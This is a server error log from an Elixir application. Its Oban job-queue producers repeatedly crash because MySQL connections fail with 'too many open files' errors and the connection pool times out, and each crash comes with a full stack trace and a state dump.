[Sun Sep  6 00:23:44.189000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:23:44.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1003ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:23:31.241482Z], limit: 20, uuid: "98a564f5-89d7-47bb-a13a-cec51c825b9b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:23:31.241487Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.35240>, refresh_timer: #Reference<0.2525715032.1077673987.35229>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:23:44.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1075ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:23:31.240485Z], limit: 50, uuid: "6f7cf67c-bf28-4d30-a9ff-d720435fd72e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:23:31.240491Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.57188>, refresh_timer: #Reference<0.2525715032.1068498948.57159>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:23:44.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 891ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:23:31.240302Z], limit: 10, uuid: "01cb90a3-017e-4bc5-a65a-00034fe61168", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:23:31.240310Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.35241>, refresh_timer: #Reference<0.2525715032.1077673987.35214>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:23:44.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1068ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:23:31.240278Z], limit: 5, uuid: "64e890fc-cc73-46e2-87ce-75b301d8b17c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:23:31.240283Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.35242>, refresh_timer: #Reference<0.2525715032.1077673987.35216>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:23:44.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 800ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:23:31.240446Z], limit: 3, uuid: "de0d955b-1f5b-48fd-a55d-c38497fdda0a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:23:31.240452Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.57189>, refresh_timer: #Reference<0.2525715032.1121189889.186052>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:23:44.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1015ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:23:31.239787Z], limit: 5, uuid: "2b22f887-3739-4245-af39-4f3ad0dd0e0d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:23:31.239793Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.57187>, refresh_timer: #Reference<0.2525715032.1068498948.57139>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:23:48.986000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:23:49.977000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:23:51.163000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:23:56.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 849ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:23:44.239800Z], limit: 5, uuid: "46b29c45-9b81-4582-9b0a-cb5611542e14", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:23:44.239806Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.35592>, refresh_timer: #Reference<0.2525715032.1068498948.57353>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:23:56.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 813ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:23:44.239537Z], limit: 10, uuid: "10009a20-bfec-445a-9c4a-254f17fd0e40", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:23:44.239543Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.186270>, refresh_timer: #Reference<0.2525715032.1121189889.186248>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:23:56.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 855ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:23:44.239633Z], limit: 50, uuid: "2c3f5a87-439f-43db-98cf-3b4cbd6bbbf0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:23:44.239639Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.35593>, refresh_timer: #Reference<0.2525715032.1068498948.57350>, dispatch_cooldown: 5, running: %{}}
